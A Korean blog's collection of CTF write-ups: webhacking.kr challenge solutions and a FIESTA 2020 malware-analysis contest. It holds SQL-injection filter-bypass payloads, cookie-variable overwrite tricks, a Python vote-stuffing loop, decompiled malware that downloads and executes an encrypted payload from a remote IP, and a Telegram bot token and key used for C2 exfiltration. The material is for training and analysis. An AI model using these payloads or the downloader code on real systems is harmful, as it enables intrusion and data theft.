반응형
반응형
반응형

forensic

keyboord

100

 

usb keyboard 패킷 캡쳐 파일이다.

github.com/TeamRocketIst/ctf-usb-keyboard-parser

 

TeamRocketIst/ctf-usb-keyboard-parser

This is the updated script from https://teamrocketist.github.io/2017/08/29/Forensics-Hackit-2017-USB-ducker/ - TeamRocketIst/ctf-usb-keyboard-parser

github.com

이거 이용해서 hex 데이터를 키보드 문자로 변환해준다.

 

해당 키보드로 c코드를 작성한 것 같다.

 

코드 작성해도 돌려주면 플래그가 나온다.

 

 

webpacket

100

웹소켓으로 id와 pw를 인증하는 과정이 있다.

 

id pw를 입력받는 페이지에서 인증서버로 인증을 거치는 것이라고 추측해볼 수 있다.

 

따라서 http 패킷 중에서 websocket발생 이전 패킷들을 살펴보았다.

찾았다.

13.209.132.135:4423으로 이동하였다.

 

login.js를 보면, 패스워드를 인코딩한다. xor이기 때문에 인코딩 함수를 그대로 사용하여 복호화하였다.

pw가 flag였다.

 

 

반응형

'CTF Write Up' 카테고리의 다른 글

CyberTalents Digital Forensics CTF write up  (0) 2020.11.29
제 2회 TeamH4C CTF 2020 Write-up  (0) 2020.10.13
FIESTA 2020 Write up  (2) 2020.09.07
2020 Defenit CTF Write Up  (2) 2020.06.06
angstrom CTF 2020 write up  (0) 2020.03.14
반응형

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
  $db = dbconnect();
  if(!$_GET['id']) $_GET['id']="guest";
  echo "<html><head><title>Challenge 61</title></head><body>";
  echo "<a href=./?view_source=1>view-source</a><hr>";
  $_GET['id'= addslashes($_GET['id']);
  if(preg_match("/\(|\)|select|from|,|by|\./i",$_GET['id'])) exit("Access Denied");
  if(strlen($_GET['id'])>15exit("Access Denied");
  $result = mysqli_fetch_array(mysqli_query($db,"select {$_GET['id']} from chall61 order by id desc limit 1"));
  echo "<b>{$result['id']}</b><br>";
  if($result['id'== "admin") solve(61);
  echo "</body></html>";
?>
cs

 

GET으로 id값을 받는다.

 

addslashes 함수는 특수문자에 \를 붙이는 역할을 한다.

이어서 필터링를 통과하고 길이가 15보다 크지 않다면,

 

select {$_GET['id']} from chall61 order by id desc limit 1

 

을 실행한다.

 

 

id 내림차순으로 1개만을 반환한다.

 

이 문제는 aliases를 이용하면 된다.

 

"칼럼명" "별칭"

 

payload = 0x61646d696e%20id

 

 

반응형
반응형

 

sqli문제인 것으로 보인다. 소스코드를 확인하자.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
  if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
  $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
  if($r['id']=="guest"echo("guest");
  if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>
cs

 

no값을 입력받아 필터링 과정을 거친다. 설정된 문자열이 포함된 경우 exit()가 호출된다.

 

select id from chall27 where id='guest' and no=({$_GET['no']})

위 sql 구문을 실행하여 id값이 admin인 데이터가 반환되면 문제가 해결된다.

 

admin의 no값이 2라고 주어졌으며, 이 것을 보고 guest의 no값은 0이나 1일 수 있다.

 

guest의 no값은 1이다.

 

id가 admin인 데이터를 뽑아내기 위해서 우리는 sql구문을 아래와 같이 만들어야 한다.

 

select id from chall27 where id='guest' and no=(0)or id = "admin"#)

 

그러나 =, #, 공백 이 필터링되므로 이 문자들을 우회해야 한다.

 

=는 like로 #은 ;%00 으로 우회가 가능하다.

 

공백을 우회하는 방법은 여러가지가 있는데, %0a로 우회하였다.

 

payload = 0)or%0aid%0alike%0a"admin";%00

 

 

 

반응형
반응형

시작부터 wrong이 적혀있다. 소스를 보자.

 

 

1
2
3
4
5
6
7
8
9
<hr>
Challenge 33-1<br>
<a href=index.txt>view-source</a>
<hr>
<?php
if($_GET['get']=="hehe"echo "<a href=???>Next</a>";
else echo("Wrong");
?>
 
cs

GET방식으로 get=hehe를 넘겨주면 된다. 

 

url?get=hehe

 

 

 

1
2
3
4
5
6
7
8
9
<hr>
Challenge 33-2<br>
<a href=lv2.txt>view-source</a>
<hr>
<?php
if($_POST['post']=="hehe" && $_POST['post2']=="hehe2"echo "<a href=???>Next</a>";
else echo "Wrong";
?>
 
cs

이번에는 POST방식으로 2개의 값을 넘겨줘야 한다.

 

 

파이썬으로 해결 가능하다.

1
2
3
4
5
6
7
8
9
10
import requests
 
URL = 'https://webhacking.kr/challenge/bonus-6/lv2.php'
 
cookies = {'PHPSESSID''value'}
data = {'post''hehe''post2''hehe2'}
 
 
print(requests.post(URL, data=data, cookies=cookies).text)
 
cs

 

결과: 

 

 

 

 

다음 문제로 이동하자.

 

1
2
3
4
5
6
7
8
9
<hr>
Challenge 33-3<br>
<a href=33.txt>view-source</a>
<hr>
<?php
if($_GET['myip'== $_SERVER['REMOTE_ADDR']) echo "<a href=???>Next</a>";
else echo "Wrong";
?>
 
cs

get방식으로 myip의 값이 내 ip주소와 일치하면 된다.

 

?myip=본인의아이피주소

 

 

 

다음 문제로 이동하자.

 

일단 힌트가 있다. 값을 보면, time값인 것 같다.

 

1
2
3
4
5
6
7
8
9
<hr>
Challenge 33-4<br>
<a href=l4.txt>view-source</a>
<hr>
<?php
if($_GET['password'== md5(time())) echo "<a href=???>Next</a>";
else echo "hint : ".time();
?>
 
cs

time()값의 md5해시값이 password와 같으면 된다.

 


Time()값은 시간에 따라 변하고, md5해시값을 구해서 request를 하는데에 시간이 걸리므로,
Hint에 표시되는 시간에 수십초 정도를 더한 값의 md5값을 구해서 get방식으로 넘겨주면 된다.

 

해당 time()값이 될때까지 새로고침을 계속 해주면 된다.

 

 

 

 

 

다음 문제로 이동하자.

 

 

1
2
3
4
5
6
7
8
9
<hr>
Challenge 33-5<br>
<a href=md555.txt>view-source</a>
<hr>
<?php
if($_GET['imget'&& $_POST['impost'&& $_COOKIE['imcookie']) echo "<a href=???>Next</a>";
else echo "Wrong";
?>
 
cs

 

 

 

 

다음 문제는 get, post, cookie값을 모두 받는다. 간단하게 파이썬 코드를 작성하여 해결이 가능했다.

 

1
2
3
4
5
6
7
8
9
10
import requests
 
URL = 'https://webhacking.kr/challenge/bonus-6/md555.php?imget=a'
 
cookies = {'PHPSESSID''[value]''imcookie''a'}
data = {'impost''hehe'}
 
 
print(requests.post(URL, data=data, cookies=cookies).text)
 
cs

 

 

 

다음 문제로 이동하자.

 

 

1
2
3
4
5
6
7
8
9
<hr>
Challenge 33-6<br>
<a href=gpcc.txt>view-source</a>
<hr>
<?php
if($_COOKIE['test'== md5($_SERVER['REMOTE_ADDR']) && $_POST['kk'== md5($_SERVER['HTTP_USER_AGENT'])) echo "<a href=???>Next</a>";
else echo "hint : {$_SERVER['HTTP_USER_AGENT']}";
?>
 
cs

쿠키 test값이 md5(ip주소)이고, POST방식으로 넘긴 kk의 값이 md5($_SERVER['HTTP_USER_AGENT']) 이어야 한다.

$_SERVER['HTTP_USER_AGENT']의 값은 힌트로 제공해주고 있기 때문에 그대로 md5해시화하면 된다.

 

 

1
2
3
4
5
6
7
8
9
10
import requests
 
URL = 'https://webhacking.kr/challenge/bonus-6/gpcc.php'
 
cookies = {'PHPSESSID''value''test''c069724157f7b464fe9470ab037e420e'}
data = {'kk''fa33cbcb27178503b0a544f0bd1f9e8d'}
 
 
print(requests.post(URL, data=data, cookies=cookies).text)
 
cs

 

 

 

 

 

다음 문제로 넘어가자.

 

1
2
3
4
5
6
7
8
9
10
<hr>
Challenge 33-7<br>
<a href=wtff.txt>view-source</a>
<hr>
<?php
$_SERVER['REMOTE_ADDR'= str_replace(".","",$_SERVER['REMOTE_ADDR']);
if($_GET[$_SERVER['REMOTE_ADDR']] == $_SERVER['REMOTE_ADDR']) echo "<a href=???>Next</a>";
else echo "Wrong<br>".$_GET[$_SERVER['REMOTE_ADDR']];
?>
 
cs

get으로 받는 변수명이 ip주소에서 .이 빠진 값이고, 해당 변수의 값이 변수명과 동일하다.

 

 

 

 

다음 문제로 넘어가자.

1
2
3
4
5
6
7
8
9
10
11
<hr>
Challenge 33-8<br>
<a href=ipt.txt>view-source</a>
<hr>
<?php
extract($_GET);
if(!$_GET['addr']) $addr = $_SERVER['REMOTE_ADDR'];
if($addr == "127.0.0.1"echo "<a href=???>Next</a>";
else echo "Wrong";
?>
 
cs

addr의 값으로 127.0.0.1을 넘겨주면 된다.

 

 

 

다음 문제로 넘어가자.

1
2
3
4
5
6
7
8
9
10
11
12
<hr>
Challenge 33-9<br>
<a href=nextt.txt>view-source</a>
<hr>
<?php
for($i=97;$i<=122;$i=$i+2){
  $answer.=chr($i);
}
if($_GET['ans'== $answerecho "<a href=???.php>Next</a>";
else echo "Wrong";
?>
 
cs

 

 

answer의 값은 아래와 같다.

 

 

 

 

 

 

다음 문제로 이동하자.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<hr>
Challenge 33-10<br>
<a href=forfor.txt>view-source</a>
<hr>
<?php
$ip = $_SERVER['REMOTE_ADDR'];
for($i=0;$i<=strlen($ip);$i++$ip=str_replace($i,ord($i),$ip);
$ip=str_replace(".","",$ip);
$ip=substr($ip,0,10);
$answer = $ip*2;
$answer = $ip/2;
$answer = str_replace(".","",$answer);
$f=fopen("answerip/{$answer}_{$ip}.php","w");
fwrite($f,"<?php include \"../../../config.php\"; solve(33); unlink(__FILE__); ?>");
fclose($f);
?>
 
cs

 

answerip/{$answer}_{$ip}.php 으로 이동하면 문제가 해결됨을 알 수 있다.

 

answer과 ip의 값도 파이썬으로 구하자.

 

... 파이썬으로 하려고 했는데 잘 안되서 그냥 php로 돌렸다.

1
2
3
4
5
6
7
8
9
10
<?php
$ip ='myip';
for($i=0;$i<=strlen($ip);$i++$ip=str_replace($i,ord($i),$ip);
$ip=str_replace(".","",$ip);
$ip=substr($ip,0,10);
$answer = $ip*2;
$answer = $ip/2;
$answer = str_replace(".","",$answer);
echo $answer.'_'.$ip.'.php';
?>
cs

 

반응형
반응형

 

유저를 클릭하면 유저를 투표할 수 있다. 투표는 한 번만 할 수 있는데, 쿠키값을 보면 vote_check값을 통해 투표를 했는지 안 했는지를 확인한다. 따라서 vote_check값을 없애주면 계속해서 투표를 할 수 있다.

 

?hit=[id]로 이동하면 투표가 된다.

 

이제 투표를 100번하는 파이썬 코드를 작성하자.

 

 

1
2
3
4
5
6
7
8
9
import requests
 
URL = 'https://webhacking.kr/challenge/code-5/?hit=[id]'
 
cookies = {'PHPSESSID''[value]'}
 
for i in range(100):
    requests.get(URL, cookies=cookies)
 
cs

 

실행 후 페이지를 새로고침 하니 문제가 풀렸다.

반응형
반응형

client ip와 agent 정보를 확인할 수 있고

 

아래에는 wrong IP라고 적혀 있다. 일단 ip값을 맞추면 되는 문제라고 추측해볼 수 있다.

 

 

소스를 보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 24</title>
</head>
<body>
<p>
<?php
  extract($_SERVER);
  extract($_COOKIE);
  $ip = $REMOTE_ADDR;
  $agent = $HTTP_USER_AGENT;
  if($REMOTE_ADDR){
    $ip = htmlspecialchars($REMOTE_ADDR);
    $ip = str_replace("..",".",$ip);
    $ip = str_replace("12","",$ip);
    $ip = str_replace("7.","",$ip);
    $ip = str_replace("0.","",$ip);
  }
  if($HTTP_USER_AGENT){
    $agent=htmlspecialchars($HTTP_USER_AGENT);
  }
  echo "<table border=1><tr><td>client ip</td><td>{$ip}</td></tr><tr><td>agent</td><td>{$agent}</td></tr></table>";
  if($ip=="127.0.0.1"){
    solve(24);
    exit();
  }
  else{
    echo "<hr><center>Wrong IP!</center>";
  }
?><hr>
<a href=?view_source=1>view-source</a>
</body>
</html>
cs

 

$ip가 127.0.0.1이 되면 문제가 풀린다.

 

extract 함수는 배열의 키값을 변수화 시켜주는 함수이다. 12행에 extract($_COOKIE); 가 있기 때문에

cookie에 REMOTE_ADDR="abcd"를 넣어주면, $REMOTE_ADDR의 값이 "abcd"가 되어 13행에서 $ip에 "abcd"값이 들어가게 된다.

 

17~20행에서 특정 문자열이 치환되는 것을 고려하여 결과가 127.0.0.1이 되는 입력값은 112277...00...00...1 이다.

 

따라서 쿠키에 REMOTE_ADDR라는 이름에 값을 112277...00...00...1으로 설정해주면 된다.

반응형
반응형

 

 

문제 페이지에 들어가면 입력받는 폼이 하나 있고 check 버튼이 하나 존재한다.

 

 

이 것외에 아무것도 없기 때문에 페이지 소스를 확인해 보았다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 
<html>
<head>
<title>Challenge 17</title>
</head>
<body bgcolor=black>
<font color=red size=10></font>
<p>
<form name=login>
<input type=passwd name=pw><input type=button onclick=sub() value="check">
</form>
<script>
unlock=100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+1/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10+100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10-100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10+9999999;
function sub(){ if(login.pw.value==unlock){ location.href="?"+unlock/10; } elsealert("Wrong"); } }
</script>
cs

 

check 버튼을 클릭하면 sub()함수가 호출이 된다.

 

sub()함수를 보면 입력된 값 (pw)가 unlock이랑 값이 같으면 URL?unlock/10 페이지로 이동한다.

 

 

 

크롬 개발자도구 콘솔을 이용하여 해당 페이지로 바로 이동하면 문제가 풀린다.

 

 

반응형
반응형

 

 

 

문제 페이지로 접속을 하면 소스를 볼 수 있는 링크가 있으며, idpw가 적혀 있다.

 

 

view-source를 클릭하여 소스코드를 확인하자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
if(!$_COOKIE['user']){
  $val_id="guest";
  $val_pw="123qwe";
  for($i=0;$i<20;$i++){
    $val_id=base64_encode($val_id);
    $val_pw=base64_encode($val_pw);
  }
  $val_id=str_replace("1","!",$val_id);
  $val_id=str_replace("2","@",$val_id);
  $val_id=str_replace("3","$",$val_id);
  $val_id=str_replace("4","^",$val_id);
  $val_id=str_replace("5","&",$val_id);
  $val_id=str_replace("6","*",$val_id);
  $val_id=str_replace("7","(",$val_id);
  $val_id=str_replace("8",")",$val_id);
 
  $val_pw=str_replace("1","!",$val_pw);
  $val_pw=str_replace("2","@",$val_pw);
  $val_pw=str_replace("3","$",$val_pw);
  $val_pw=str_replace("4","^",$val_pw);
  $val_pw=str_replace("5","&",$val_pw);
  $val_pw=str_replace("6","*",$val_pw);
  $val_pw=str_replace("7","(",$val_pw);
  $val_pw=str_replace("8",")",$val_pw);
 
  Setcookie("user",$val_id,time()+86400,"/challenge/web-06/");
  Setcookie("password",$val_pw,time()+86400,"/challenge/web-06/");
  echo("<meta http-equiv=refresh content=0>");
  exit;
}
?>
<html>
<head>
<title>Challenge 6</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
</style>
</head>
<body>
<?php
$decode_id=$_COOKIE['user'];
$decode_pw=$_COOKIE['password'];
 
$decode_id=str_replace("!","1",$decode_id);
$decode_id=str_replace("@","2",$decode_id);
$decode_id=str_replace("$","3",$decode_id);
$decode_id=str_replace("^","4",$decode_id);
$decode_id=str_replace("&","5",$decode_id);
$decode_id=str_replace("*","6",$decode_id);
$decode_id=str_replace("(","7",$decode_id);
$decode_id=str_replace(")","8",$decode_id);
 
$decode_pw=str_replace("!","1",$decode_pw);
$decode_pw=str_replace("@","2",$decode_pw);
$decode_pw=str_replace("$","3",$decode_pw);
$decode_pw=str_replace("^","4",$decode_pw);
$decode_pw=str_replace("&","5",$decode_pw);
$decode_pw=str_replace("*","6",$decode_pw);
$decode_pw=str_replace("(","7",$decode_pw);
$decode_pw=str_replace(")","8",$decode_pw);
 
for($i=0;$i<20;$i++){
  $decode_id=base64_decode($decode_id);
  $decode_pw=base64_decode($decode_pw);
}
 
echo("<hr><a href=./?view_source=1 style=color:yellow;>view-source</a><br><br>");
echo("ID : $decode_id<br>PW : $decode_pw<hr>");
 
if($decode_id=="admin" && $decode_pw=="nimda"){
  solve(6);
}
?>
</body>
</html>
cs

 

4~33행은 cookie에 user값이 없으면, id와 pw를 각각 guest, 123qwe로 두고 인코딩하여 쿠키값을 설정하는 과정이고, 44~68행은 설정된 user와 password 쿠키값을 디코딩하는 과정이다.

 

73행에서는 디코딩된 id와 pw값이 각각 admin, nimda라면 문제가 풀리는 것을 알 수 있다.

 

 

인코딩 과정을 보면, 먼저 평문을 base64로 20번 인코딩하고 str_replace함수로 문자를 치환한다.

 

이 과정을 그대로 python으로 작성하여 id와 pw를 admin과 nimda로 두면 인코딩된 쿠키값을 얻을 수 있다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import base64
 
def enc(value):
  for i in range(20):
      value = str(base64.b64encode(bytes(value)))
  value = value.replace("1","!")
  value = value.replace("2","@")
  value = value.replace("3","$")
  value = value.replace("4","^")
  value = value.replace("5","&")
  value = value.replace("6","*")
  value = value.replace("7","(")
  value = value.replace("8",")")
 
  return value
 
id = "admin"
pw = "nimda"
 
print(enc(id) + "\n\n")
print(enc(pw))
 
cs

 

 

실행 결과:

 

 

쿠키 값 설정은 크롬 확장프로그램 중에서 editthiscookie를 사용했다.

 

설정 후 페이지를 새로고침하면 문제가 풀린다.

반응형
반응형

금융보안원 금융보안 위협분석 대회

TEAM : N0Named

 

fiesta.fsec.or.kr/

 

FIESTA 2020

금융보안 위협분석 대회 FIESTA 2020 Financial Institutes' Event on Security Threat Analysis 최 종 순 위 FIESTA2020 시상식 일정 일 시 : 2020. 11. 2. (월) 14:00 ~ 15:00 장 소 : 금융보안원 교육센터 (서울시 영등포구 의

fiesta.fsec.or.kr

 

Stepin-1

수상한 문서 파일이 전송되었다 ! 해당 문서 파일을 분석하여라 !
대상 환경 : Windows 10 Education, Build 18362.1016

세부문제1

악성 exe가 생성되는 전체 경로를 적으시오. (파일 이름, 확장자 포함)
예시 ) FIESTA2020{C:\Ex\Path\filename.exe}

 

doc파일이 주어진다.

 

매크로를 확인하기 위해 편집사용 클릭 후 보기 > 매크로 > 매크로 보기 에서 편집을 눌렀는데 에러가 났다.

 

 

컨텐츠 사용을 클릭하였더니 런타임 오류가 나고, 디버그를 클릭하였더니 Project 암호 입력 창이 나왔다.

 

 

 

이 인증 과정을 우회해주기 위해서 .doc 파일을 hex 에디터로 연 뒤, DPB값을 찾아준다.

이 DPB를 DPX로 바꿔주고 .doc를 열어준다.

 

 

 

다시 매크로> 매크로 보기 > 편집 으로 들어가니 잘 들어가졌다.

 

 

 

 

디버깅을 통해서 악성 exe가 생성되는 전체 경로를 찾을 수 있다.

 

 

 

v3rypog

김다원 연구원은 최근 수상한 메일을 수신한 적이 있어 본인이 사용하던 PC를 확인한 결과, 의심스러운 파일을 발견했다.
의심 파일을 분석하는 과정에서 pyc 파일 까지는 획득했으나, 이후 분석을 못하고 있는 상황이다.
분석을 통해 공격을 막을 수 있는 FLAG 를 획득하시오.

 

v3rypog-1

C&C 통신하는 서버 전체 주소값
입력 형식 : http:// 를 포함한 전체 주소값

v3rypog.pyc파일이 주어진다.

 

 

해당 파일을 hex로만 까봐도 주소값을 확인할 수 있다.

 

 

...

 

 

정석대로 pyc파일을 decompile해주자.

 

 

일단 pyc의 헤더값은 0x42 0x0d 이다. 0x0d42 = 3394,

 

github.com/google/pytype/blob/master/pytype/pyc/magic.py  

 

google/pytype

A static type analyzer for Python code. Contribute to google/pytype development by creating an account on GitHub.

github.com

즉 python3.7 버전에서 작성되었다는 것이다.

 

pyc 디컴파일에는 uncompyle6를 사용하면 된다. python3.7을 지원하는 uncompyle6 최신버전을 설치하고

 

pypi.org/project/uncompyle6/

 

uncompyle6

Python cross-version byte-code decompiler

pypi.org

 

 

디컴파일 해주면,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
$ uncompyle6 v3rypog.pyc
# uncompyle6 version 3.7.4
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.6.9 (default, Jul 17 2020, 12:50:27) 
# [GCC 8.4.0]
# Embedded file name: /private/tmp/v3rypog.py
# Compiled at: 2020-09-02 11:26:20
# Size of source mod 2**32: 2002 bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from threading import Timer
import getpass, hashlib, os, datetime, time, base64, json, marshal, types, string, sys, requests
big2 = '\n __      ______  _______     _______   ____   _____ \n \\ \\    / /___ \\|  __ \\ \\   / /  __ \\ / __ \\ / ____|\n  \\ \\  / /  __) | |__) \\ \\_/ /| |__) | |  | | |  __ \n   \\ \\/ /  |__ <|  _  / \\   / |  ___/| |  | | | |_ |\n    \\  /   ___) | | \\ \\  | |  | |    | |__| | |__| |\n     \\/   |____/|_|  \\_\\ |_|  |_|     \\____/ \\_____|\n'
PAYLAOD = requests.get('http://54.180.11.70/e.php').text
EXPLOIT = '{"iv": "XRUNPPQYG4Y5n53MZJo2AQ==", "ct": "' + PAYLAOD + '" }'
timestamp = '1585094400'
 
def aes_enc(data, key):
    cipher = AES.new(key, AES.MODE_CBC)
    ct_bytes = cipher.encrypt(pad(data, AES.block_size))
    iv = base64.b64encode(cipher.iv).decode('utf-8')
    ct = base64.b64encode(ct_bytes).decode('utf-8')
    result = json.dumps({'iv':iv,  'ct':ct})
    return result
 
 
def aes_dec(enc_result, key):
    b64 = json.loads(enc_result)
    iv = base64.b64decode(b64['iv'])
    ct = base64.b64decode(b64['ct'])
    cipher = AES.new(key, AES.MODE_CBC, iv)
    plain = unpad(cipher.decrypt(ct), AES.block_size)
    return plain
 
 
def key_num(tstamp):
    tm_stmp = int(tstamp)
    tsmp = datetime.datetime.fromtimestamp(tm_stmp).strftime('%Y%m%d')
    dt = int(tsmp[5:7])
    dt += int(tsmp[2]) * int(int(tsmp[0:2]) / int(tsmp[7])) * (int(tsmp[6]) + int(tsmp[7]))
    dt ^= int(tsmp[6:8])
    dt = dt + 0
    return dt
 
 
if __name__ == '__main__':
    if getpass.getuser()[0== 'd' and getpass.getuser()[2== 'k':
        user_key = getpass.getuser()
    else:
        exit()
    i = key_num(timestamp)
    x = bytes((i ^ j ^ x for j, x in enumerate((timestamp + '_' + user_key).encode('ascii')[:16])))
    dec = aes_dec(EXPLOIT, x)
    exploit_code = marshal.loads(dec)
    exec_exploit = types.FunctionType(exploit_code, globals(), 'payload')
    exec_exploit()
# okay decompiling v3rypog.pyc
 
cs

소스코드를 확인할 수 있다.

 

v3rypog2,3

 

그러나 위 코드로 브포를 돌려보면 의미있는 값이 나오지 않는다.

다시 pyc코드를 살펴보면 코드가 평문으로 들어가있는게 있다. 해당 부분 주석처리하고 다시 코드 돌려주면 의미있는 값을 구할 수 있다.

 

 

 

SharperGram

금융보안원에 재직중인 A씨는 평소 여행을 좋아하여 외국으로 여행을 자주 다니는 편이다. 
올해도 마찬가지로 여행 계획을 세우는 A씨는 최근 항공사로부터 항공권 관련 메일을 받게 되었고, 메일의 첨부파일을 확인한 A씨는 얼마 지나지않아 자신의 메일 계정 정보등이 유출된 사실을 알게되었다. 
A씨의 정보가 어떻게 유출되었는지 메일을 분석하시오.

SharperGram-1

메일 최초 발신자 IP, 도메인과 해당 도메인의 최초 등록자 정보를 조사하시오. (발신IP_발신도메인_도메인등록자이름(공백없이)_도메인등록국가코드) e.g.) 0.0.0.0_domain.tld_JohnSmith_KR

 

eml 파일이 주어진다. Outlook으로 열 수 있는데 발신자는 ticket-mailer@discountbok.com 이다.

 

-도메인 : discountbok.com

 

 

eml파일을 HxD로 열어서 해당 도메인을 검색하면 ip주소를 찾을 수 있다.

 

 

- ip주소 : 184.168.221.37

 

 

그리고 도메인의 최초 등록자 이름과 국가를 구하기 위해서 아래 사이트에 도메인을 검색해보았다.

 

 

whois-history.whoisxmlapi.com/lookup-report/x923eoolk7

 

 

discountbok.com | WHOIS History Lookup | WhoisXML API

discountbok.com lookup report. Uncover domain name history using WHOIS History Lookup and access 10+ years of WHOIS data with all recorded information on past owners and registrars.

whois-history.whoisxmlapi.com

2015년 7월 기록에서 이름과 국가를 찾을 수 있다.

 

flag : 184.168.221.37_discountbok.com_LannyTyndall_CN

 

SharperGram-2

추가 악성코드 다운로드 주소 및 저장되는 위치를 조사하시오.
저장되는 위치는 사용자마다 다르므로, 사용자명 이후의 경로부터 서술 (악성코드 유포지_저장경로)
e.g.) http://0.0.0.0/uri/dedf?a_\Dir\Dir2\filename.ext

 

 

해당 메일 첨부파일에는 i-Ticket.xls 엑셀 파일과 해당 엑셀 파일의 패스워드가 적힌 이미지 파일이 있다.

 

xls파일을 다운받아 실행한다. 패스워드를 입력해주고, 악성코드가 실행될 수 있도록, 편집 사용 -> 컨텐츠 사용을 차례로 눌러준다.

 

 

이후 분석이 간편하도록 파일 잠금을 해제한다.

파일 > 정보 > 통합 문서 보호 > 암호 설정 에서 암호 전부 지우고 확인

 

매크로를 확인하기 위해 보기> 매크로 > 매크로 보기 로 이동하였으나, 보이는 매크로는 없었다.

 

 

이미지를 클릭해보면 좌측상단에 러시아어3가 보인다. 

 

asec.ahnlab.com/1232

 

[주의] 국내 기업을 대상으로 대량 유포되는 엑셀 파일 분석 - Ammyy 원격제어 백도어와 Clop 랜섬웨

최근 국내에서 가장 이슈가 되는 타겟형 공격은 기업을 대상으로 유포되고 있는 Ammyy 원격제어 백도어와 이를 통해 설치되는 Clop 랜섬웨어이다. 백도어 파일은 온라인에 공개되어�

asec.ahnlab.com

위 내용과 유사하다.

 

최하단 Sheet1을 우클릭하여 코드보기를 클릭하면 저장된 매크로 코드를 확인할 수 있다.

 

코드를 분석해보면, 추가 악성코드 파일을 다운받아오는 서버 주소와, 다운로드 경로를 확인할 수 있다.

Application.StartupPath 는 디버깅을 통해서 찾을 수 있었다.

 

 

flag : http://54.180.66.177/xe_\AppData\Roaming\Microsoft\Excel\XLSTART\nc.exe

 

SharperGram-3

악성코드가 C2와 통신할 때 사용하는 토큰과 채널, 그리고 암호화 키값을 조사하시오.
(토큰값_채널값_암호화키값)
e.g.) token_channel_key

 

이제 위에서 다운받은 nc.exe를 분석하는 단계이다.

 

nc.exe를 실행하게 되면 유저 폴더에 .txt 파일이 생성되며 유저가 입력한 키 값을 저장하고 .fiesta 확장자로 바뀌며 암호화 되는 과정을 반복하는 것을 확인할 수 있다.

 

 

 

 

nc.exe는 ConfuserEx로 패킹이 되어 있다. 

ConfuserEx 언패킹 도구로 nc.exe를 언패킹 해주면 

 

 

이렇게 분석할 수 있는 상태가 된다.

 

.NET으로 작성되었으므로 dnSpy를 사용하여 디버깅 해주도록 한다.

 

 

리퀘스트를 날리는 부분인데, 이곳에 bp를 걸어서 url값과 password 값을 알아내면 된다.

 

텔레그램 봇 url이 나오는데, bot: 이후가 봇의 토큰값이다.

 

token : 1156639839:AAELhN58xW07HE7pTwV0hLep_goctDXN4CE

채널 : 483139644

키 : F13stA-e0e0-k3y

 

flag : 1156639839:AAELhN58xW07HE7pTwV0hLep_goctDXN4CE_483139644_F13stA-e0e0-k3y

 

 

 

 

 

PowerShellcode

A사의 침해대응 담당자인 김과장은 다수의 사내 PC에서 부팅시 업데이트 알림이 뜬다는 신고를 받고 조사에 착수한 결과, 수상한 파워쉘 실행 로그를 확인했다. 발견된 파워쉘 스크립트를 분석하시오.

PowerShellcode-1

